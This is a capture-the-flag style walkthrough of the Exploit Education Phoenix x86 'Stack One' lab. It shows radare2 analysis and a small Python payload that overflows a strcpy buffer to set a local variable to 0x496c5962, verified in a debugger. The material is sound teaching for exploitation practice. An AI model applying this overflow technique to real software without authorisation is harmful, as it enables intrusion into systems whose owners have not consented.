Exploit Education Phoenix x86 Stack One
#Table of Contents
#Introduction
Stack One is very similar to [Exploit Education Phoenix x86 Stack Zero][exploit-education-phoenix-x86-stack-zero] with a few minor exceptions, which will be introduced shortly.
#Recon
The use of rabin2 is essential to understand a little bit about the binary.
$ rabin2 -I /opt/phoenix/i486/stack-one
arch x86
baddr 0x8048000
binsz 3651
bintype elf
bits 32
canary false
class ELF32
compiler GCC: (GNU) 7.3.0
crypto false
endian little
havecode true
intrp /opt/phoenix/i486-linux-musl/lib/ld-musl-i386.so.1
laddr 0x0
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx false
os linux
pcalign 0
pic false
relocs true
relro no
rpath /opt/phoenix/i486-linux-musl/lib
sanitiz false
static false
stripped false
subsys linux
va trueSo as to avoid repetition, the information about the binary is almost identical to that of the previous level. To sum up, this is a 32-bit Linux ELF with no protection against stack-based buffer overflows, among others.
Time to disassemble the binary with radare2.
$ r2 /opt/phoenix/i486/stack-one[0x08048380]> aas
Cannot analyze at 0x080485f0
[0x08048380]> afl
0x080482fc 1 17 sym._init
0x080484d0 7 277 -> 112 sym.frame_dummy
0x080485b0 5 49 sym.__do_global_ctors_aux
0x080485e1 1 12 sym._fini
0x08048450 8 113 -> 111 sym.__do_global_dtors_aux
0x08048114 47 524 -> 625 sym..interp
0x08048380 1 62 entry0
0x08048370 1 6 sym.imp.__libc_start_main
0x080486f8 1 14 loc.__GNU_EH_FRAME_HDR
0x08048714 3 34 sym..eh_frame
0x08048750 1 44 obj.__EH_FRAME_BEGIN
0x080483c0 4 49 -> 40 sym.deregister_tm_clones
0x08048515 6 145 main
0x08048340 1 6 sym.imp.puts
0x08048350 1 6 sym.imp.errx
0x08048320 1 6 sym.imp.strcpy
0x08048330 1 6 sym.imp.printf
0x08048360 1 6 sym.imp.exit
[0x08048380]> s main
[0x08048515]> pdf
/ (fcn) main 145
| int main (int argc, char **argv, char **envp);
| ; var int32_t var_4ch @ ebp-0x4c
| ; var int32_t var_ch @ ebp-0xc
| ; arg int32_t arg_4h @ esp+0x4
| ; DATA XREF from entry0 @ 0x80483b4
| 0x08048515 8d4c2404 lea ecx, [arg_4h]
| 0x08048519 83e4f0 and esp, 0xfffffff0
| 0x0804851c ff71fc push dword [ecx - 4]
| 0x0804851f 55 push ebp
| 0x08048520 89e5 mov ebp, esp
| 0x08048522 53 push ebx
| 0x08048523 51 push ecx
| 0x08048524 83ec50 sub esp, 0x50
| 0x08048527 89cb mov ebx, ecx
| 0x08048529 83ec0c sub esp, 0xc
| 0x0804852c 68f0850408 push str.Welcome_to_phoenix_stack_one__brought_to_you_by_https:__exploit.education ; sym..rodata
| ; 0x80485f0 ; "Welcome to phoenix/stack-one, brought to you by https://exploit.education"
| 0x08048531 e80afeffff call sym.imp.puts ; int puts(const char *s)
| 0x08048536 83c410 add esp, 0x10
| 0x08048539 833b01 cmp dword [ebx], 1
| ,=< 0x0804853c 7f0f jg 0x804854d
| | 0x0804853e 83ec08 sub esp, 8
| | 0x08048541 683c860408 push str.specify_an_argument__to_be_copied_into_the__buffer ; 0x804863c ; "specify an argument, to be copied into the \"buffer\""
| | 0x08048546 6a01 push 1 ; 1
| | 0x08048548 e803feffff call sym.imp.errx ; void errx(int eval)
| `-> 0x0804854d c745f4000000. mov dword [var_ch], 0
| 0x08048554 8b4304 mov eax, dword [ebx + 4]
| 0x08048557 83c004 add eax, 4
| 0x0804855a 8b00 mov eax, dword [eax]
| 0x0804855c 83ec08 sub esp, 8
| 0x0804855f 50 push eax
| 0x08048560 8d45b4 lea eax, [var_4ch]
| 0x08048563 50 push eax
| 0x08048564 e8b7fdffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
| 0x08048569 83c410 add esp, 0x10
| 0x0804856c 8b45f4 mov eax, dword [var_ch]
| 0x0804856f 3d62596c49 cmp eax, 0x496c5962
| ,=< 0x08048574 7512 jne 0x8048588
| | 0x08048576 83ec0c sub esp, 0xc
| | 0x08048579 6870860408 push str.Well_done__you_have_successfully_set_changeme_to_the_correct_value ; 0x8048670 ; "Well done, you have successfully set changeme to the correct value"
| | 0x0804857e e8bdfdffff call sym.imp.puts ; int puts(const char *s)
| | 0x08048583 83c410 add esp, 0x10
| ,==< 0x08048586 eb14 jmp 0x804859c
| |`-> 0x08048588 8b45f4 mov eax, dword [var_ch]
| | 0x0804858b 83ec08 sub esp, 8
| | 0x0804858e 50 push eax
| | 0x0804858f 68b4860408 push str.Getting_closer__changeme_is_currently_0x_08x__we_want_0x496c5962 ; 0x80486b4 ; "Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n"
| | 0x08048594 e897fdffff call sym.imp.printf ; int printf(const char *format)
| | 0x08048599 83c410 add esp, 0x10
| | ; CODE XREF from main @ 0x8048586
| `--> 0x0804859c 83ec0c sub esp, 0xc
| 0x0804859f 6a00 push 0
\ 0x080485a1 e8bafdffff call sym.imp.exit ; void exit(int status)Below is the output of agf, which outputs the basic blocks function graph.
[0x08048515]> agf
[0x08048515]> # int main (int argc, char **argv, char **envp);
.---------------------------------------------------------------------------------------.
| 0x8048515 |
| (fcn) main 145 |
| int main (int argc, char **argv, char **envp); |
| ; var int32_t var_4ch @ ebp-0x4c |
| ; var int32_t var_ch @ ebp-0xc |
| ; arg int32_t arg_4h @ esp+0x4 |
| ; DATA XREF from entry0 @ 0x80483b4 |
| lea ecx, [arg_4h] |
| and esp, 0xfffffff0 |
| push dword [ecx - 4] |
| push ebp |
| mov ebp, esp |
| push ebx |
| push ecx |
| sub esp, 0x50 |
| mov ebx, ecx |
| sub esp, 0xc |
| ; sym..rodata |
| ; 0x80485f0 |
| ; "Welcome to phoenix/stack-one, brought to you by https://exploit.education" |
| push str.Welcome_to_phoenix_stack_one__brought_to_you_by_https:__exploit.education |
| ; int puts(const char *s) |
| call sym.imp.puts;[oa] |
| add esp, 0x10 |
| cmp dword [ebx], 1 |
| jg 0x804854d |
`---------------------------------------------------------------------------------------'
f t
| |
| '--------------------------------------------.
.----------------------' |
| |
.----------------------------------------------------------------. .---------------------------------------------.
| 0x804853e | | 0x804854d |
| sub esp, 8 | | mov dword [var_ch], 0 |
| ; 0x804863c | | mov eax, dword [ebx + 4] |
| ; "specify an argument, to be copied into the \"buffer\"" | | add eax, 4 |
| push str.specify_an_argument__to_be_copied_into_the__buffer | | mov eax, dword [eax] |
| ; 1 | | sub esp, 8 |
| push 1 | | push eax |
| ; void errx(int eval) | | lea eax, [var_4ch] |
| call sym.imp.errx;[ob] | | push eax |
`----------------------------------------------------------------' | ; char *strcpy(char *dest, const char *src) |
| call sym.imp.strcpy;[oc] |
| add esp, 0x10 |
| mov eax, dword [var_ch] |
| cmp eax, 0x496c5962 |
| jne 0x8048588 |
`---------------------------------------------'
f t
| |
| '-------------------.
.---------------------------------------------------------------' |
| |
.--------------------------------------------------------------------------------. .------------------------------------------------------------------------------.
| 0x8048576 | | 0x8048588 |
| sub esp, 0xc | | mov eax, dword [var_ch] |
| ; 0x8048670 | | sub esp, 8 |
| ; "Well done, you have successfully set changeme to the correct value" | | push eax |
| push str.Well_done__you_have_successfully_set_changeme_to_the_correct_value | | ; 0x80486b4 |
| ; int puts(const char *s) | | ; "Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n" |
| call sym.imp.puts;[oa] | | push str.Getting_closer__changeme_is_currently_0x_08x__we_want_0x496c5962 |
| add esp, 0x10 | | ; int printf(const char *format) |
| jmp 0x804859c | | call sym.imp.printf;[od] |
`--------------------------------------------------------------------------------' | add esp, 0x10 |
v `------------------------------------------------------------------------------'
| v
| |
'------------------------------------------------------------------. |
| .----------------'
| |
.-----------------------------------.
| 0x804859c |
| ; CODE XREF from main @ 0x8048586 |
| sub esp, 0xc |
| push 0 |
| ; void exit(int status) |
| call sym.imp.exit;[oe] |
`-----------------------------------'Unlike the previous level, the input is not read from STDIN, but, rather, is passed as an argument to the binary. Also, the gets call is replaced by strcpy, which also allows stack-based buffer overflows considering that it does not restrict the size of bytes to be copied.
#Exploit
The buffer’s size is still 64 bytes and we need to overflow the stack so that the value of the local variable var_ch is overwritten with 0x496c5962.
Here follows a python3 script to create the exploit:
#!/usr/bin/env python3
import os
os.write(1, b'\x58'*64 + b'\x62\x59\x6c\x49')$ ./theScript.py > patternNow, the binary can be debugged as follows:
$ r2 -d /opt/phoenix/i486/stack-one `cat pattern`In order to verify the stack contents before and after the strcpy call, a breakpoint is needed at the address of that call.
[0xf7f20d4b]> aas
Cannot analyze at 0x080485f0
[0xf7f20d4b]> db 0x08048564
[0xf7f20d4b]> dc
Welcome to phoenix/stack-one, brought to you by https://exploit.education
hit breakpoint at: 8048564The value of var_ch before the call is:
[0xf7eed929]> px/xw 0xffa8aeb8-0xc
0xffa8aeac 0x00000000 ....The stack before the call:
[0x08048564]> dr
eax = 0xffa8ae6c
ebx = 0xffa8aed0
ecx = 0xffa8ada0
edx = 0x00000000
esi = 0xffa8af44
edi = 0x00000002
esp = 0xffa8ae50
ebp = 0xffa8aeb8
eip = 0x08048564
eflags = 0x00000292
oeax = 0xffffffff
[0x08048564]> px/24xw 0xffa8ae50
0xffa8ae50 0xffa8ae6c 0xffa8c5cb 0x0000007d 0x00000010 l.......}.......
0xffa8ae60 0x080482fc 0x080485e1 0x00000000 0x0000005c ............\...
0xffa8ae70 0x00000000 0x00000000 0x00000000 0x00000000 ................
0xffa8ae80 0x00000011 0xf7f5819c 0x00000000 0x080482cc ................
0xffa8ae90 0x00000000 0x00000000 0x00000000 0x00000000 ................
0xffa8aea0 0x00000000 0x00000000 0x00000000 0x00000000 ................and after the call:
[0x08048564]> dso
hit breakpoint at: 8048569
[0x08048564]> px/24xw 0xffa8ae50
0xffa8ae50 0xffa8ae6c 0xffa8c5cb 0x0000007d 0x00000010 l.......}.......
0xffa8ae60 0x080482fc 0x080485e1 0x00000000 0x58585858 ............XXXX
0xffa8ae70 0x58585858 0x58585858 0x58585858 0x58585858 XXXXXXXXXXXXXXXX
0xffa8ae80 0x58585858 0x58585858 0x58585858 0x58585858 XXXXXXXXXXXXXXXX
0xffa8ae90 0x58585858 0x58585858 0x58585858 0x58585858 XXXXXXXXXXXXXXXX
0xffa8aea0 0x58585858 0x58585858 0x58585858 0x496c5962 XXXXXXXXXXXXbYlINote that the value of the local variable var_ch has been overwritten, as is shown below:
[0x08048564]> px/xw 0xffa8aeb8-0xc
0xffa8aeac 0x496c5962 bYlIContinuing with the execution:
[0x08048564]> dc
Well done, you have successfully set changeme to the correct value#Conclusion
This level has many similarities with the first level, but with one noteable difference. That is, the objective was not to simply overwrite the value of a local variable, but to overflow the stack such that the variable contains a specific value.
[exploit-education-phoenix-x86-stack-zero]: {{< ref “exploit-education-phoenix-x86-stack-zero” >}}